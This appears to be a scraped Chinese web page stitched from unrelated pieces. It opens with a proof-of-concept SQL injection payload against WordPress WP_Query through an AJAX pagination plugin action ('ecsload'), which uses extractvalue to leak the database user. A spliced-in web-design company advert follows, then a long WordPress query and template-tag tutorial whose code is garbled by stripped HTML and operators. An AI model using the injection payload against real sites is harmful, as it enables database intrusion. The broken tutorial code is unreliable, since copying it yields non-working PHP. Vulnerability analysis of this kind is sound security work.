POC:
創(chuàng)新互聯(lián)建站是一家朝氣蓬勃的網(wǎng)站建設(shè)公司。公司專注于為企業(yè)提供信息化建設(shè)解決方案。從事網(wǎng)站開發(fā),網(wǎng)站制作,網(wǎng)站設(shè)計,網(wǎng)站模板,微信公眾號開發(fā),軟件開發(fā),微信平臺小程序開發(fā),十余年建站對水泥攪拌車等多個領(lǐng)域,擁有豐富的網(wǎng)站推廣經(jīng)驗。
POST
ecs_ajax_settings??{"post_id":1,"current_page":2,"widget_id":"65054a0","max_num_pages":5}
action?ecsload
query?{"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}
這個問題來源于temrs沒過濾 再加上 一個相等條件繞過;
相等條件類似于,下面過濾條件沒有執(zhí)行。導(dǎo)致term攜帶了一些臟數(shù)據(jù)
if(a==b){
return;
}
sanialize(term);
1下圖所示,我們的插件里action鉤子勾住的是這個方法,這個方法利用了WP_QUERY存在漏洞的類,注意的是action 一定要有對應(yīng)的值,所以這個漏洞限制在。運用了WP_QUERY的插件里。所以我們拿了ajax_pagnition這個插件,定義了action為ecsload
2 下圖所示 我們進(jìn)入方法,此方法構(gòu)造了sql
3 clean query方法 進(jìn)去看看,2的里面調(diào)用了這個,箭頭指定的地方已經(jīng)打過補丁,強制term為int所以就無法利用了,補丁前不是這樣,而是對term沒有做任何操作
4進(jìn)入transform_query,在看一下里面。下面試sanitize其實可以繞過,從而不過濾term這樣,條件都成立,term逃出,sql成立
大家都知道,輸入到WordPress的所有數(shù)據(jù)都將被保存在數(shù)據(jù)庫中,如果我們需要這些數(shù)據(jù),就要對數(shù)據(jù)庫進(jìn)行查詢,然后輸出我們需要的數(shù)據(jù)。比如我們需要在首頁輸出網(wǎng)站的最新文章,或者在分類頁面輸出該分類的最新文章,又或者在文章頁面輸出詳細(xì)的文章內(nèi)容……
查詢數(shù)據(jù)庫的方法很多,較常用的有以下3種:使用pre_get_posts 動作、 query_posts() 函數(shù) 或 WP_Query 類。
pre_get_posts 動作
當(dāng)你查詢數(shù)據(jù)庫的時候,Wordpress創(chuàng)建了一個全局變量 $query 。使用動作 pre_get_posts 就可以獲取 $query 變量并將其作為參數(shù)傳遞給回調(diào)函數(shù)。
要知道,pre_get_posts 可以用來獲取所有的數(shù)據(jù)庫信息,包括后臺管理區(qū)域,而且它可以多次使用,所以要獲取我們想要的數(shù)據(jù),我們需要對它進(jìn)行判斷檢查。要檢查是否正在改變主查詢,我們可以使用函數(shù) is_main_query()。
1
2
3
4
if(is_main_query())
{
// Modify the query
}
盡管這樣,它還是會在后臺管理區(qū)域中被獲取,所以你還需要檢查是否在你希望的頁面輸出,比如,你要修改分類頁面的查詢,你就需要添加 is_category() 函數(shù)。
1
2
3
4
if(is_main_query() is_category())
{
// Modify the query
}
例如,如果你希望在首頁查詢中排除某些分類,你可以向下面一樣修改查詢:
1
2
3
4
5
6
add_action( 'pre_get_posts', 'exclude_category' );
function exclude_category( $query ) {
if ( $query-is_home() $query-is_main_query() ! $query-get( 'cat' ) ){
$query-set( 'cat', '-5' );
}
}
你還可以通過修改 posts_per_page 參數(shù)來修改通過查詢獲取的文章篇數(shù)
1
2
3
4
5
6
add_action( 'pre_get_posts', 'get_one_post' );
function get_one_post( $query ) {
if ( $query-is_home() $query-is_main_query() ){
$query-set( 'posts_per_page', 1 );
}
}
posts_per_page 是用來修改WordPress默認(rèn)的查詢的,如果你需要添加額外的查詢,你就需要使用 WP_Query 類。
query_posts() 函數(shù)
query_posts() 是修改WordPress主查詢的另一種方法,這是最簡單的編輯數(shù)據(jù)庫查詢的方法,因為它會覆蓋默認(rèn)的 $query 變量。但 query_posts() 不是最好的,也不是最有效的方法,更好的方式還是使用 posts_per_page 來修改主查詢。
就像 posts_per_page 一樣,你可以使用 query_posts() 來修改返回的文章數(shù)量,默認(rèn)情況下,WordPress會返回 10 篇文章,你可以使用下面代碼修改為 1 篇:
1
2
3
4
5
6
7
8
9
10
?php
query_posts( 'posts_per_page=1' );
while ( have_posts() ) : the_post();
echo '
h1';
the_title();
echo '/h1
';
endwhile;
?
了解更多,請閱讀 WordPress函數(shù):query_posts
WP_Query 類
WP_Query 類 定義在 wp-includes/query.php 文件中,它是一個 類(class),用來查詢數(shù)據(jù)庫然后在我們想要的頁面輸出文章。WP_Query 會創(chuàng)建一個可以用在任何頁面的變量 $wp_query ,你可以通過多種方式來獲取查詢的信息。
最主要的方式是 $wp_query-have_posts() ,它可以在循環(huán)的內(nèi)部被 have_posts() 函數(shù)調(diào)用。你可以通過 the_post() ,在循環(huán)的內(nèi)部使用這個變量來獲取當(dāng)前文章的信息。
1
2
3
4
5
6
7
8
$new_query = new WP_Query( $args );
// The Loop
while ( $new_query-have_posts() ) :
$new_query-the_post();
printf('
h1%s/h1
', get_the_title() );
endwhile;
WP_Query 類 還可以用來二次查詢數(shù)據(jù)庫,但你需要使用 wp_reset_postdata() 函數(shù) 來重置前一個查詢。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$new_query = new WP_Query( $args );
// The Loop
while ( $new_query-have_posts() ) :
$new_query-the_post();
printf('
h1%s/h1
', get_the_title() );
endwhile;
wp_reset_postdata();
$second_query = new WP_Query( $second_args );
// The Loop
while ( $second_query-have_posts() ) :
$second_query-the_post();
printf('
h1%s/h1
', get_the_title() );
endwhile;
wp_reset_postdata();
在 WordPress官方文檔中,介紹了不同的參數(shù)和方法,更多詳情請訪問 WP_Query 類。
常用的有標(biāo)題、內(nèi)容、日志元數(shù)據(jù)等。
循環(huán)介紹
?php if (have_posts()) : ?
?php while (have_posts()) : the_post(); ?
?php endwhile; ?
?php endif;?
· if(have_posts()) – 檢查博客是否有日志。
· while(have_posts()) – 如果有日志,那么當(dāng)博客有日志的時候,執(zhí)行下面 the_post() 這個函數(shù)。
· the_post() – 調(diào)用具體的日志來顯示。
· endwhile; – 遵照規(guī)則 #1,這里用于關(guān)閉 while()
· endif; – 關(guān)閉 if()
調(diào)用標(biāo)題
a href=";?php the_permalink() ?"?php the_title_attribute(); ?/a
標(biāo)題太長了可以用下面的:
a href=";?php the_permalink() ?" ?php echo mb_strimwidth(get_the_title(), 0, 32, '...'); ?/a
調(diào)用內(nèi)容
3-1、全文調(diào)用
?php the_content(); ?
3-2、摘要調(diào)用
?php echo mb_strimwidth(strip_tags(apply_filters('the_content', $post-post_content)), 0, 200,"……"); ?
日志元數(shù)據(jù)
4-1、發(fā)布日期
?php the_time('F d, Y') ?
?php the_time('m-d') ?
?php the_date_xml()?
4-2、所屬分類
?php the_category(', ') ?
4-3、文章標(biāo)簽
?php the_tags('標(biāo)簽: ', ', ', ''); ?
4-4、留言數(shù)
?php comments_number('暫無評論', '1條評論', '% 評論' );?
4-5、更多按鈕
a href=";?php the_permalink() ?"更多內(nèi)容/a
4-6、調(diào)用文章作者
?php the_author_posts_link();?
最新文章調(diào)用:
語法
WP標(biāo)簽:?php wp_get_archives('type=postbypostlimit=10'); ?
type=postbypost:按最新文章排列l(wèi)imit:限制文章數(shù)量最新10篇調(diào)用隨機文章:
?php
global $post;
$postid = $post-ID;
$args = array( 'orderby' = 'rand', 'post__not_in' = array($post-ID), 'showposts' = 10);
$query_posts = new WP_Query();
$query_posts-query($args);
?
?php while ($query_posts-have_posts()) : $query_posts-the_post(); ?
lia href=";?php the_permalink(); ?" rel="bookmark" title="?php the_title_attribute(); ?"?php the_title(); ?/a/li
?php endwhile; ?文章日期存檔調(diào)用
WP標(biāo)簽:?php wp_get_archives( 'type=monthly' ); ?
type=monthly按月份讀取
分類目錄調(diào)用
WP標(biāo)簽:?php wp_list_cats('sort_column=nameoptioncount=1hierarchical=0'); ?
hierarchial=0 – 不按照層式結(jié)構(gòu)顯示子分類
optioncount=1 – 顯示每個分類含有的日志數(shù)
sort_column=name – 把分類按字符順序排列
友情鏈接調(diào)用
?php wp_list_bookmarks('title_li=categorize=0orderby=randlimit=24'); ?
元數(shù)據(jù)調(diào)用
注冊:?php wp_register(); ?
登錄:?php wp_loginout(); ?